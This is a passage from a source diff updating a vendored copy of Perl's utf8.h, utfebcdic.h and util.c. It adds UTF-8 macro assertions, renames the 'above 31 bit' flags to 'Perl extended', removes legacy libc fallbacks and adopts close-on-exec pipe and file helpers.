-#define UTF8_IS_CONTINUATION(c)                                             \
-    ((((U8)((c) | 0)) & UTF_IS_CONTINUATION_MASK) == UTF_CONTINUATION_MARK)
+#define UTF8_IS_CONTINUATION(c)     (__ASSERT_(FITS_IN_8_BITS(c))           \
+     (((U8)((c) | 0)) & UTF_IS_CONTINUATION_MASK) == UTF_CONTINUATION_MARK)
 
 /* Is the UTF8-encoded byte 'c' the first byte of a two byte sequence?  Use
  * UTF8_IS_NEXT_CHAR_DOWNGRADEABLE() instead if the input isn't known to
@@ -288,12 +289,14 @@
  * be well-formed.  Masking with 0xfe allows the low bit to be 0 or 1; thus
  * this matches 0xc[23].  The |0 makes sure this isn't mistakenly called with a
  * ptr argument */
-#define UTF8_IS_DOWNGRADEABLE_START(c)	((((U8)((c) | 0)) & 0xfe) == 0xc2)
+#define UTF8_IS_DOWNGRADEABLE_START(c)	(__ASSERT_(FITS_IN_8_BITS(c))       \
+                                         (((U8)((c) | 0)) & 0xfe) == 0xc2)
 
 /* Is the UTF8-encoded byte 'c' the first byte of a sequence of bytes that
  * represent a code point > 255?  The |0 makes sure this isn't mistakenly
  * called with a ptr argument */
-#define UTF8_IS_ABOVE_LATIN1(c)     (((U8)((c) | 0)) >= 0xc4)
+#define UTF8_IS_ABOVE_LATIN1(c)     (__ASSERT_(FITS_IN_8_BITS(c))           \
+                                     ((U8)((c) | 0)) >= 0xc4)
 
 /* This is the number of low-order bits a continuation byte in a UTF-8 encoded
  * sequence contributes to the specification of the code point.  In the bit
@@ -309,7 +312,8 @@
  * problematic in some contexts.  This allows code that needs to check for
  * those to to quickly exclude the vast majority of code points it will
  * encounter */
-#define isUTF8_POSSIBLY_PROBLEMATIC(c) ((U8) c >= 0xED)
+#define isUTF8_POSSIBLY_PROBLEMATIC(c) (__ASSERT_(FITS_IN_8_BITS(c))        \
+                                        (U8) c >= 0xED)
 
 /* A helper macro for isUTF8_CHAR, so use that one instead of this.  This was
  * generated by regen/regcharclass.pl, and then moved here.  Then it was
@@ -409,6 +413,8 @@
     ( LIKELY( ( ( ( ((const U8*)s)[1] & 0xC0 ) == 0x80 ) && ( ( ((const U8*)s)[2] & 0xC0 ) == 0x80 ) ) && ( ( ((const U8*)s)[3] & 0xC0 ) == 0x80 ) ) ? 4 : 0 )\
 : LIKELY( ( ( ( 0xF4 == ((const U8*)s)[0] ) && ( ( ((const U8*)s)[1] & 0xF0 ) == 0x80 ) ) && ( ( ((const U8*)s)[2] & 0xC0 ) == 0x80 ) ) && ( ( ((const U8*)s)[3] & 0xC0 ) == 0x80 ) ) ? 4 : 0 )
 
+#define UNICODE_IS_PERL_EXTENDED(uv)    UNLIKELY((UV) (uv) > 0x7FFFFFFF)
+
 #endif /* EBCDIC vs ASCII */
 
 /* 2**UTF_ACCUMULATION_SHIFT - 1 */
@@ -529,14 +535,16 @@
  * that this is asymmetric on EBCDIC platforms, in that the 'new' parameter is
  * the UTF-EBCDIC byte, whereas the 'old' parameter is a Unicode (not EBCDIC)
  * code point in process of being generated */
-#define UTF8_ACCUMULATE(old, new) (((old) << UTF_ACCUMULATION_SHIFT)           \
+#define UTF8_ACCUMULATE(old, new) (__ASSERT_(FITS_IN_8_BITS(new))              \
+                                   ((old) << UTF_ACCUMULATION_SHIFT)           \
                                    | ((NATIVE_UTF8_TO_I8((U8)new))             \
                                        & UTF_CONTINUATION_MASK))
 
 /* This works in the face of malformed UTF-8. */
-#define UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, e) (UTF8_IS_DOWNGRADEABLE_START(*s) \
-                                               && ( (e) - (s) > 1)             \
-                                               && UTF8_IS_CONTINUATION(*((s)+1)))
+#define UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, e)                                 \
+                                       (   UTF8_IS_DOWNGRADEABLE_START(*(s))  \
+                                        && ( (e) - (s) > 1)                   \
+                                        && UTF8_IS_CONTINUATION(*((s)+1)))
 
 /* Number of bytes a code point occupies in UTF-8. */
 #define NATIVE_SKIP(uv) UVCHR_SKIP(uv)
@@ -571,8 +579,10 @@
  * Note that the result can be larger than 255 if the input character is not
  * downgradable */
 #define TWO_BYTE_UTF8_TO_NATIVE(HI, LO) \
-    ( __ASSERT_(PL_utf8skip[HI] == 2)                                           \
-      __ASSERT_(UTF8_IS_CONTINUATION(LO))                                       \
+    (__ASSERT_(FITS_IN_8_BITS(HI))                                              \
+     __ASSERT_(FITS_IN_8_BITS(LO))                                              \
+     __ASSERT_(PL_utf8skip[HI] == 2)                                            \
+     __ASSERT_(UTF8_IS_CONTINUATION(LO))                                        \
      UNI_TO_NATIVE(UTF8_ACCUMULATE((NATIVE_UTF8_TO_I8(HI) & UTF_START_MASK(2)), \
                                    (LO))))
 
@@ -763,25 +773,36 @@
 #define UTF8_GOT_SURROGATE		UTF8_DISALLOW_SURROGATE
 #define UTF8_WARN_SURROGATE		0x0200
 
-#define UTF8_DISALLOW_NONCHAR           0x0400	/* Unicode non-character */
+/* Unicode non-character  code points */
+#define UTF8_DISALLOW_NONCHAR           0x0400
 #define UTF8_GOT_NONCHAR                UTF8_DISALLOW_NONCHAR
-#define UTF8_WARN_NONCHAR               0x0800	/*  code points */
+#define UTF8_WARN_NONCHAR               0x0800
 
-#define UTF8_DISALLOW_SUPER		0x1000	/* Super-set of Unicode: code */
+/* Super-set of Unicode: code points above the legal max */
+#define UTF8_DISALLOW_SUPER		0x1000
 #define UTF8_GOT_SUPER		        UTF8_DISALLOW_SUPER
-#define UTF8_WARN_SUPER		        0x2000	/* points above the legal max */
+#define UTF8_WARN_SUPER		        0x2000
 
-/* Code points which never were part of the original UTF-8 standard, which only
- * went up to 2 ** 31 - 1.  Note that these all overflow a signed 32-bit word,
- * The first byte of these code points is FE or FF on ASCII platforms.  If the
- * first byte is FF, it will overflow a 32-bit word. */
-#define UTF8_DISALLOW_ABOVE_31_BIT      0x4000
-#define UTF8_GOT_ABOVE_31_BIT           UTF8_DISALLOW_ABOVE_31_BIT
-#define UTF8_WARN_ABOVE_31_BIT          0x8000
+/* The original UTF-8 standard did not define UTF-8 with start bytes of 0xFE or
+ * 0xFF, though UTF-EBCDIC did.  This allowed both versions to represent code
+ * points up to 2 ** 31 - 1.  Perl extends UTF-8 so that 0xFE and 0xFF are
+ * usable on ASCII platforms, and 0xFF means something different than
+ * UTF-EBCDIC defines.  These changes allow code points of 64 bits (actually
+ * somewhat more) to be represented on both platforms.  But these are Perl
+ * extensions, and not likely to be interchangeable with other languages.  Note
+ * that on ASCII platforms, FE overflows a signed 32-bit word, and FF an
+ * unsigned one. */
+#define UTF8_DISALLOW_PERL_EXTENDED     0x4000
+#define UTF8_GOT_PERL_EXTENDED          UTF8_DISALLOW_PERL_EXTENDED
+#define UTF8_WARN_PERL_EXTENDED         0x8000
 
-/* For back compat, these old names are misleading for UTF_EBCDIC */
-#define UTF8_DISALLOW_FE_FF             UTF8_DISALLOW_ABOVE_31_BIT
-#define UTF8_WARN_FE_FF                 UTF8_WARN_ABOVE_31_BIT
+/* For back compat, these old names are misleading for overlongs and
+ * UTF_EBCDIC. */
+#define UTF8_DISALLOW_ABOVE_31_BIT      UTF8_DISALLOW_PERL_EXTENDED
+#define UTF8_GOT_ABOVE_31_BIT           UTF8_GOT_PERL_EXTENDED
+#define UTF8_WARN_ABOVE_31_BIT          UTF8_WARN_PERL_EXTENDED
+#define UTF8_DISALLOW_FE_FF             UTF8_DISALLOW_PERL_EXTENDED
+#define UTF8_WARN_FE_FF                 UTF8_WARN_PERL_EXTENDED
 
 #define UTF8_CHECK_ONLY			0x10000
 #define _UTF8_NO_CONFIDENCE_IN_CURLEN   0x20000  /* Internal core use only */
@@ -790,6 +811,7 @@
  * includes what they used to mean.  The first one's meaning was to allow the
  * just the single non-character 0xFFFF */
 #define UTF8_ALLOW_FFFF 0
+#define UTF8_ALLOW_FE_FF 0
 #define UTF8_ALLOW_SURROGATE 0
 
 /* C9 refers to Unicode Corrigendum #9: allows but discourages non-chars */
@@ -905,14 +927,22 @@
  * let's be conservative and do as Unicode says. */
 #define PERL_UNICODE_MAX	0x10FFFF
 
-#define UNICODE_WARN_SURROGATE        0x0001	/* UTF-16 surrogates */
-#define UNICODE_WARN_NONCHAR          0x0002	/* Non-char code points */
-#define UNICODE_WARN_SUPER            0x0004	/* Above 0x10FFFF */
-#define UNICODE_WARN_ABOVE_31_BIT     0x0008	/* Above 0x7FFF_FFFF */
-#define UNICODE_DISALLOW_SURROGATE    0x0010
-#define UNICODE_DISALLOW_NONCHAR      0x0020
-#define UNICODE_DISALLOW_SUPER        0x0040
-#define UNICODE_DISALLOW_ABOVE_31_BIT 0x0080
+#define UNICODE_WARN_SURROGATE         0x0001	/* UTF-16 surrogates */
+#define UNICODE_WARN_NONCHAR           0x0002	/* Non-char code points */
+#define UNICODE_WARN_SUPER             0x0004	/* Above 0x10FFFF */
+#define UNICODE_WARN_PERL_EXTENDED     0x0008	/* Above 0x7FFF_FFFF */
+#define UNICODE_WARN_ABOVE_31_BIT      UNICODE_WARN_PERL_EXTENDED
+#define UNICODE_DISALLOW_SURROGATE     0x0010
+#define UNICODE_DISALLOW_NONCHAR       0x0020
+#define UNICODE_DISALLOW_SUPER         0x0040
+#define UNICODE_DISALLOW_PERL_EXTENDED 0x0080
+#define UNICODE_DISALLOW_ABOVE_31_BIT  UNICODE_DISALLOW_PERL_EXTENDED
+
+#define UNICODE_GOT_SURROGATE       UNICODE_DISALLOW_SURROGATE
+#define UNICODE_GOT_NONCHAR         UNICODE_DISALLOW_NONCHAR
+#define UNICODE_GOT_SUPER           UNICODE_DISALLOW_SUPER
+#define UNICODE_GOT_PERL_EXTENDED   UNICODE_DISALLOW_PERL_EXTENDED
+
 #define UNICODE_WARN_ILLEGAL_C9_INTERCHANGE                                   \
                                   (UNICODE_WARN_SURROGATE|UNICODE_WARN_SUPER)
 #define UNICODE_WARN_ILLEGAL_INTERCHANGE                                      \
@@ -951,7 +981,6 @@
          && UNICODE_IS_END_PLANE_NONCHAR_GIVEN_NOT_SUPER(uv)))
 
 #define UNICODE_IS_SUPER(uv)    ((UV) (uv) > PERL_UNICODE_MAX)
-#define UNICODE_IS_ABOVE_31_BIT(uv)    ((UV) (uv) > 0x7FFFFFFF)
 
 #define LATIN_SMALL_LETTER_SHARP_S      LATIN_SMALL_LETTER_SHARP_S_NATIVE
 #define LATIN_SMALL_LETTER_Y_WITH_DIAERESIS                                  \
@@ -1040,6 +1069,8 @@
           : _is_utf8_char_helper(s, e, 0))
 
 #define is_utf8_char_buf(buf, buf_end) isUTF8_CHAR(buf, buf_end)
+#define bytes_from_utf8(s, lenp, is_utf8p)                                  \
+                            bytes_from_utf8_loc(s, lenp, is_utf8p, 0)
 
 /*
 
@@ -1160,7 +1191,7 @@
  * retained solely for backwards compatibility */
 #define IS_UTF8_CHAR(p, n)      (isUTF8_CHAR(p, (p) + (n)) == n)
 
-#endif /* H_UTF8 */
+#endif /* PERL_UTF8_H_ */
 
 /*
  * ex: set ts=8 sts=4 sw=4 et:

Modified: vendor/perl/dist/utfebcdic.h
===================================================================
--- vendor/perl/dist/utfebcdic.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/utfebcdic.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -268,13 +268,6 @@
  * for more */
 #define QUESTION_MARK_CTRL   LATIN1_TO_NATIVE(0x9F)
 
-/* Any I8 string larger than this will overflow the word if it were converted into a UV */
-#if defined(UV_IS_QUAD)
-#   define HIGHEST_REPRESENTABLE_UTF8  "\xFF\xAF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
-#else
-#   define HIGHEST_REPRESENTABLE_UTF8  "\xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA3\xBF\xBF\xBF\xBF\xBF\xBF"
-#endif
-
 /* Helper macros for isUTF8_CHAR_foo, so use those instead of this.  These were
  * generated by regen/regcharclass.pl, and then moved here.  Then they were
  * hand-edited to add some LIKELY() calls, presuming that malformations are
@@ -518,6 +511,8 @@
  * has this start byte (expressed in I8) as the maximum */
 #define _IS_UTF8_CHAR_HIGHEST_START_BYTE 0xF9
 
+#define UNICODE_IS_PERL_EXTENDED(uv)    UNLIKELY((UV) (uv) > 0x3FFFFFFF)
+
 /*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/util.c
===================================================================
--- vendor/perl/dist/util.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/util.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -214,9 +214,6 @@
 	? ((struct perl_memory_debug_header *)((char *)where - PERL_MEMORY_DEBUG_HEADER_SIZE))->size
 	: 0;
 #endif
-#if !defined(STANDARD_C) && !defined(HAS_REALLOC_PROTOTYPE) && !defined(PERL_MICRO)
-    Malloc_t PerlMem_realloc();
-#endif /* !defined(STANDARD_C) && !defined(HAS_REALLOC_PROTOTYPE) */
 
     if (!size) {
 	safesysfree(where);
@@ -693,7 +690,7 @@
 
 =for apidoc fbm_compile
 
-Analyses the string in order to make fast searches on it using C<fbm_instr()>
+Analyzes the string in order to make fast searches on it using C<fbm_instr()>
 -- the Boyer-Moore algorithm.
 
 =cut
@@ -816,6 +813,8 @@
 
     PERL_ARGS_ASSERT_FBM_INSTR;
 
+    assert(bigend >= big);
+
     if ((STRLEN)(bigend - big) < littlelen) {
 	if (     tail
 	     && ((STRLEN)(bigend - big) == littlelen - 1)
@@ -2146,8 +2145,7 @@
 #       else /* ! HAS_UNSETENV */
         (void)setenv(nam, val, 1);
 #       endif /* HAS_UNSETENV */
-#   else
-#       if defined(HAS_UNSETENV)
+#   elif defined(HAS_UNSETENV)
         if (val == NULL) {
             if (environ) /* old glibc can crash with null environ */
                 (void)unsetenv(nam);
@@ -2159,7 +2157,7 @@
             my_setenv_format(new_env, nam, nlen, val, vlen);
             (void)putenv(new_env);
         }
-#       else /* ! HAS_UNSETENV */
+#   else /* ! HAS_UNSETENV */
         char *new_env;
 	const int nlen = strlen(nam);
 	int vlen;
@@ -2171,7 +2169,6 @@
         /* all that work just for this */
         my_setenv_format(new_env, nam, nlen, val, vlen);
         (void)putenv(new_env);
-#       endif /* HAS_UNSETENV */
 #   endif /* __CYGWIN__ */
 #ifndef PERL_USE_SAFE_PUTENV
     }
@@ -2221,140 +2218,6 @@
 }
 #endif
 
-/* this is a drop-in replacement for bcopy(), except for the return
- * value, which we need to be able to emulate memcpy()  */
-#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
-void *
-Perl_my_bcopy(const void *vfrom, void *vto, size_t len)
-{
-#if defined(HAS_BCOPY) && defined(HAS_SAFE_BCOPY)
-    bcopy(vfrom, vto, len);
-#else
-    const unsigned char *from = (const unsigned char *)vfrom;
-    unsigned char *to = (unsigned char *)vto;
-
-    PERL_ARGS_ASSERT_MY_BCOPY;
-
-    if (from - to >= 0) {
-	while (len--)
-	    *to++ = *from++;
-    }
-    else {
-	to += len;
-	from += len;
-	while (len--)
-	    *(--to) = *(--from);
-    }
-#endif
-
-    return vto;
-}
-#endif
-
-/* this is a drop-in replacement for memset() */
-#ifndef HAS_MEMSET
-void *
-Perl_my_memset(void *vloc, int ch, size_t len)
-{
-    unsigned char *loc = (unsigned char *)vloc;
-
-    PERL_ARGS_ASSERT_MY_MEMSET;
-
-    while (len--)
-	*loc++ = ch;
-    return vloc;
-}
-#endif
-
-/* this is a drop-in replacement for bzero() */
-#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
-void *
-Perl_my_bzero(void *vloc, size_t len)
-{
-    unsigned char *loc = (unsigned char *)vloc;
-
-    PERL_ARGS_ASSERT_MY_BZERO;
-
-    while (len--)
-	*loc++ = 0;
-    return vloc;
-}
-#endif
-
-/* this is a drop-in replacement for memcmp() */
-#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
-int
-Perl_my_memcmp(const void *vs1, const void *vs2, size_t len)
-{
-    const U8 *a = (const U8 *)vs1;
-    const U8 *b = (const U8 *)vs2;
-    int tmp;
-
-    PERL_ARGS_ASSERT_MY_MEMCMP;
-
-    while (len--) {
-        if ((tmp = *a++ - *b++))
-	    return tmp;
-    }
-    return 0;
-}
-#endif /* !HAS_MEMCMP || !HAS_SANE_MEMCMP */
-
-#ifndef HAS_VPRINTF
-/* This vsprintf replacement should generally never get used, since
-   vsprintf was available in both System V and BSD 2.11.  (There may
-   be some cross-compilation or embedded set-ups where it is needed,
-   however.)
-
-   If you encounter a problem in this function, it's probably a symptom
-   that Configure failed to detect your system's vprintf() function.
-   See the section on "item vsprintf" in the INSTALL file.
-
-   This version may compile on systems with BSD-ish <stdio.h>,
-   but probably won't on others.
-*/
-
-#ifdef USE_CHAR_VSPRINTF
-char *
-#else
-int
-#endif
-vsprintf(char *dest, const char *pat, void *args)
-{
-    FILE fakebuf;
-
-#if defined(STDIO_PTR_LVALUE) && defined(STDIO_CNT_LVALUE)
-    FILE_ptr(&fakebuf) = (STDCHAR *) dest;
-    FILE_cnt(&fakebuf) = 32767;
-#else
-    /* These probably won't compile -- If you really need
-       this, you'll have to figure out some other method. */
-    fakebuf._ptr = dest;
-    fakebuf._cnt = 32767;
-#endif
-#ifndef _IOSTRG
-#define _IOSTRG 0
-#endif
-    fakebuf._flag = _IOWRT|_IOSTRG;
-    _doprnt(pat, args, &fakebuf);	/* what a kludge */
-#if defined(STDIO_PTR_LVALUE)
-    *(FILE_ptr(&fakebuf)++) = '\0';
-#else
-    /* PerlIO has probably #defined away fputc, but we want it here. */
-#  ifdef fputc
-#    undef fputc  /* XXX Should really restore it later */
-#  endif
-    (void)fputc('\0', &fakebuf);
-#endif
-#ifdef USE_CHAR_VSPRINTF
-    return(dest);
-#else
-    return 0;		/* perl doesn't use return value */
-#endif
-}
-
-#endif /* HAS_VPRINTF */
-
 PerlIO *
 Perl_my_popen_list(pTHX_ const char *mode, int n, SV **args)
 {
@@ -2375,10 +2238,10 @@
 	taint_env();
 	taint_proper("Insecure %s%s", "EXEC");
     }
-    if (PerlProc_pipe(p) < 0)
+    if (PerlProc_pipe_cloexec(p) < 0)
 	return NULL;
     /* Try for another pipe pair for error return */
-    if (PerlProc_pipe(pp) >= 0)
+    if (PerlProc_pipe_cloexec(pp) >= 0)
 	did_pipes = 1;
     while ((pid = PerlProc_fork()) < 0) {
 	if (errno != EAGAIN) {
@@ -2400,14 +2263,8 @@
 #define THIS that
 #define THAT This
 	/* Close parent's end of error status pipe (if any) */
-	if (did_pipes) {
+	if (did_pipes)
 	    PerlLIO_close(pp[0]);
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-	    /* Close error pipe automatically if exec works */
-	    if (fcntl(pp[1], F_SETFD, FD_CLOEXEC) < 0)
-                return NULL;
-#endif
-	}
 	/* Now dup our end of _the_ pipe to right position */
 	if (p[THIS] != (*mode == 'r')) {
 	    PerlLIO_dup2(p[THIS], *mode == 'r');
@@ -2437,12 +2294,11 @@
 #undef THAT
     }
     /* Parent */
-    do_execfree();	/* free any memory malloced by child on fork */
     if (did_pipes)
 	PerlLIO_close(pp[1]);
     /* Keep the lower of the two fd numbers */
     if (p[that] < p[This]) {
-	PerlLIO_dup2(p[This], p[that]);
+	PerlLIO_dup2_cloexec(p[This], p[that]);
 	PerlLIO_close(p[This]);
 	p[This] = p[that];
     }
@@ -2522,9 +2378,9 @@
 	taint_env();
 	taint_proper("Insecure %s%s", "EXEC");
     }
-    if (PerlProc_pipe(p) < 0)
+    if (PerlProc_pipe_cloexec(p) < 0)
 	return NULL;
-    if (doexec && PerlProc_pipe(pp) >= 0)
+    if (doexec && PerlProc_pipe_cloexec(pp) >= 0)
 	did_pipes = 1;
     while ((pid = PerlProc_fork()) < 0) {
 	if (errno != EAGAIN) {
@@ -2547,13 +2403,8 @@
 #undef THAT
 #define THIS that
 #define THAT This
-	if (did_pipes) {
+	if (did_pipes)
 	    PerlLIO_close(pp[0]);
-#if defined(HAS_FCNTL) && defined(F_SETFD)
-            if (fcntl(pp[1], F_SETFD, FD_CLOEXEC) < 0)
-                return NULL;
-#endif
-	}
 	if (p[THIS] != (*mode == 'r')) {
 	    PerlLIO_dup2(p[THIS], *mode == 'r');
 	    PerlLIO_close(p[THIS]);
@@ -2596,11 +2447,10 @@
 #undef THIS
 #undef THAT
     }
-    do_execfree();	/* free any memory malloced by child on vfork */
     if (did_pipes)
 	PerlLIO_close(pp[1]);
     if (p[that] < p[This]) {
-	PerlLIO_dup2(p[This], p[that]);
+	PerlLIO_dup2_cloexec(p[This], p[that]);
 	PerlLIO_close(p[This]);
 	p[This] = p[that];
     }
@@ -2641,8 +2491,7 @@
 	 PerlLIO_close(pp[0]);
     return PerlIO_fdopen(p[This], mode);
 }
-#else
-#if defined(DJGPP)
+#elif defined(DJGPP)
 FILE *djgpp_popen();
 PerlIO *
 Perl_my_popen(pTHX_ const char *cmd, const char *mode)
@@ -2654,15 +2503,12 @@
     */
     return PerlIO_importFILE(djgpp_popen(cmd, mode), 0);
 }
-#else
-#if defined(__LIBCATAMOUNT__)
+#elif defined(__LIBCATAMOUNT__)
 PerlIO *
 Perl_my_popen(pTHX_ const char *cmd, const char *mode)
 {
     return NULL;
 }
-#endif
-#endif
 
 #endif /* !DOSISH */
 
@@ -2980,14 +2826,12 @@
        : 0
     );
 }
-#else
-#if defined(__LIBCATAMOUNT__)
+#elif defined(__LIBCATAMOUNT__)
 I32
 Perl_my_pclose(pTHX_ PerlIO *ptr)
 {
     return -1;
 }
-#endif
 #endif /* !DOSISH */
 
 #if  (!defined(DOSISH) || defined(OS2) || defined(WIN32) || defined(NETWARE)) && !defined(__LIBCATAMOUNT__)
@@ -3352,9 +3196,8 @@
 	    if (len < sizeof tmpbuf)
 		tmpbuf[len] = '\0';
 #  else
-	    s = delimcpy(tmpbuf, tmpbuf + sizeof tmpbuf, s, bufend,
-			':',
-			&len);
+	    s = delimcpy_no_escape(tmpbuf, tmpbuf + sizeof tmpbuf, s, bufend,
+                                   ':', &len);
 #  endif
 	    if (s < bufend)
 		s++;
@@ -3445,12 +3288,10 @@
     if (error)
 	Perl_croak_nocontext("panic: pthread_getspecific, error=%d", error);
     return (void*)t;
+#  elif defined(I_MACH_CTHREADS)
+    return (void*)cthread_data(cthread_self());
 #  else
-#    ifdef I_MACH_CTHREADS
-    return (void*)cthread_data(cthread_self());
-#    else
     return (void*)PTHREAD_GETSPECIFIC(PL_thr_key);
-#    endif
 #  endif
 #else
     return (void*)NULL;
@@ -3566,23 +3407,15 @@
     long open_max = -1;
 #   ifdef PERL_FFLUSH_ALL_FOPEN_MAX
     open_max = PERL_FFLUSH_ALL_FOPEN_MAX;
-#   else
-#    if defined(HAS_SYSCONF) && defined(_SC_OPEN_MAX)
+#   elif defined(HAS_SYSCONF) && defined(_SC_OPEN_MAX)
     open_max = sysconf(_SC_OPEN_MAX);
-#     else
-#      ifdef FOPEN_MAX
+#   elif defined(FOPEN_MAX)
     open_max = FOPEN_MAX;
-#      else
-#       ifdef OPEN_MAX
+#   elif defined(OPEN_MAX)
     open_max = OPEN_MAX;
-#       else
-#        ifdef _NFILE
+#   elif defined(_NFILE)
     open_max = _NFILE;
-#        endif
-#       endif
-#      endif
-#     endif
-#    endif
+#   endif
     if (open_max > 0) {
       long i;
       for (i = 0; i < open_max; i++)
@@ -3794,6 +3627,8 @@
  * This algorithm also fails to handle years before A.D. 1 gracefully, but
  * that's still outside the scope for POSIX time manipulation, so I don't
  * care.
+ *
+ * - lwall
  */
 
     year = 1900 + ptm->tm_year;
@@ -3902,7 +3737,13 @@
 {
 #ifdef HAS_STRFTIME
 
-  /* Note that yday and wday effectively are ignored by this function, as mini_mktime() overwrites them */
+  /* strftime(), but with a different API so that the return value is a pointer
+   * to the formatted result (which MUST be arranged to be FREED BY THE
+   * CALLER).  This allows this function to increase the buffer size as needed,
+   * so that the caller doesn't have to worry about that.
+   *
+   * Note that yday and wday effectively are ignored by this function, as
+   * mini_mktime() overwrites them */
 
   char *buf;
   int buflen;
@@ -3939,9 +3780,9 @@
   buflen = 64;
   Newx(buf, buflen, char);
 
-  GCC_DIAG_IGNORE(-Wformat-nonliteral); /* fmt checked by caller */
+  GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* fmt checked by caller */
   len = strftime(buf, buflen, fmt, &mytm);
-  GCC_DIAG_RESTORE;
+  GCC_DIAG_RESTORE_STMT;
 
   /*
   ** The following is needed to handle to the situation where
@@ -3967,9 +3808,9 @@
     Renew(buf, bufsize, char);
     while (buf) {
 
-      GCC_DIAG_IGNORE(-Wformat-nonliteral); /* fmt checked by caller */
+      GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* fmt checked by caller */
       buflen = strftime(buf, bufsize, fmt, &mytm);
-      GCC_DIAG_RESTORE;
+      GCC_DIAG_RESTORE_STMT;
 
       if (buflen > 0 && buflen < bufsize)
 	break;
@@ -4335,6 +4176,10 @@
 	return -1;
     }
 
+#ifdef SOCK_CLOEXEC
+    type &= ~SOCK_CLOEXEC;
+#endif
+
 #ifdef EMULATE_SOCKETPAIR_UDP
     if (type == SOCK_DGRAM)
 	return S_socketpair_udp(fd);
@@ -4394,12 +4239,10 @@
   abort_tidy_up_and_fail:
 #ifdef ECONNABORTED
   errno = ECONNABORTED;	/* This would be the standard thing to do. */
+#elif defined(ECONNREFUSED)
+  errno = ECONNREFUSED;	/* E.g. Symbian does not have ECONNABORTED. */
 #else
-#  ifdef ECONNREFUSED
-  errno = ECONNREFUSED;	/* E.g. Symbian does not have ECONNABORTED. */
-#  else
   errno = ETIMEDOUT;	/* Desperation time. */
-#  endif
 #endif
   tidy_up_and_fail:
     {
@@ -4593,7 +4436,7 @@
 #    define PERL_RANDOM_DEVICE "/dev/urandom"
 #  endif
 #endif
-    fd = PerlLIO_open(PERL_RANDOM_DEVICE, 0);
+    fd = PerlLIO_open_cloexec(PERL_RANDOM_DEVICE, 0);
     if (fd != -1) {
     	if (PerlLIO_read(fd, (void*)&u, sizeof u) != sizeof u)
 	    u = 0;
@@ -4632,7 +4475,6 @@
     env_pv= PerlEnv_getenv("PERL_HASH_SEED");
 
     if ( env_pv )
-#  ifndef USE_HASH_SEED_EXPLICIT
     {
         /* ignore leading spaces */
         while (isSPACE(*env_pv))
@@ -4667,13 +4509,10 @@
         /* should we warn about insufficient hex? */
     }
     else
-#  endif
-#endif
+#endif /* NO_PERL_HASH_ENV */
     {
-        (void)seedDrand01((Rand_seed_t)seed());
-
         for( i = 0; i < PERL_HASH_SEED_BYTES; i++ ) {
-            seed_buffer[i] = (unsigned char)(Drand01() * (U8_MAX+1));
+            seed_buffer[i] = (unsigned char)(Perl_internal_drand48() * (U8_MAX+1));
         }
     }
 #ifdef USE_PERL_PERTURB_KEYS
@@ -4997,28 +4836,6 @@
 #endif /* PERL_MEM_LOG */
 
 /*
-=for apidoc my_sprintf
-
-The C library C<sprintf>, wrapped if necessary, to ensure that it will return
-the length of the string written to the buffer.  Only rare pre-ANSI systems
-need the wrapper function - usually this is a direct call to C<sprintf>.
-
-=cut
-*/
-#ifndef SPRINTF_RETURNS_STRLEN
-int
-Perl_my_sprintf(char *buffer, const char* pat, ...)
-{
-    va_list args;
-    PERL_ARGS_ASSERT_MY_SPRINTF;
-    va_start(args, pat);
-    vsprintf(buffer, pat, args);
-    va_end(args);
-    return strlen(buffer);
-}
-#endif
-
-/*
 =for apidoc quadmath_format_single
 
 C<quadmath_snprintf()> is very strict about its C<format> string and will
@@ -5204,7 +5021,7 @@
 #ifdef HAS_VSNPRINTF
     /* vsnprintf() shows failure with >= len */
         ||
-        (len > 0 && (Size_t)retval >= len) 
+        (len > 0 && (Size_t)retval >= len)
 #endif
     )
 	Perl_croak_nocontext("panic: my_snprintf buffer overflow");
@@ -5260,7 +5077,7 @@
 #ifdef HAS_VSNPRINTF
     /* vsnprintf() shows failure with >= len */
         ||
-        (len > 0 && (Size_t)retval >= len) 
+        (len > 0 && (Size_t)retval >= len)
 #endif
     )
 	Perl_croak_nocontext("panic: my_vsnprintf buffer overflow");
@@ -5340,13 +5157,9 @@
     PERL_ARGS_ASSERT_MY_CXT_INIT;
     if (*index == -1) {
 	/* this module hasn't been allocated an index yet */
-#if defined(USE_ITHREADS)
 	MUTEX_LOCK(&PL_my_ctx_mutex);
-#endif
 	*index = PL_my_cxt_index++;
-#if defined(USE_ITHREADS)
 	MUTEX_UNLOCK(&PL_my_ctx_mutex);
-#endif
     }
     
     /* make sure the array is big enough */
@@ -5403,13 +5216,9 @@
     index = Perl_my_cxt_index(aTHX_ my_cxt_key);
     if (index == -1) {
 	/* this module hasn't been allocated an index yet */
-#if defined(USE_ITHREADS)
 	MUTEX_LOCK(&PL_my_ctx_mutex);
-#endif
 	index = PL_my_cxt_index++;
-#if defined(USE_ITHREADS)
 	MUTEX_UNLOCK(&PL_my_ctx_mutex);
-#endif
     }
 
     /* make sure the array is big enough */
@@ -5699,6 +5508,36 @@
 }
 #endif
 
+/*
+=for apidoc my_strnlen
+
+The C library C<strnlen> if available, or a Perl implementation of it.
+
+C<my_strnlen()> computes the length of the string, up to C<maxlen>
+characters.  It will will never attempt to address more than C<maxlen>
+characters, making it suitable for use with strings that are not
+guaranteed to be NUL-terminated.
+
+=cut
+
+Description stolen from http://man.openbsd.org/strnlen.3,
+implementation stolen from PostgreSQL.
+*/
+#ifndef HAS_STRNLEN
+Size_t
+Perl_my_strnlen(const char *str, Size_t maxlen)
+{
+    const char *p = str;
+
+    PERL_ARGS_ASSERT_MY_STRNLEN;
+
+    while(maxlen-- && *p)
+        p++;
+
+    return p - str;
+}
+#endif
+
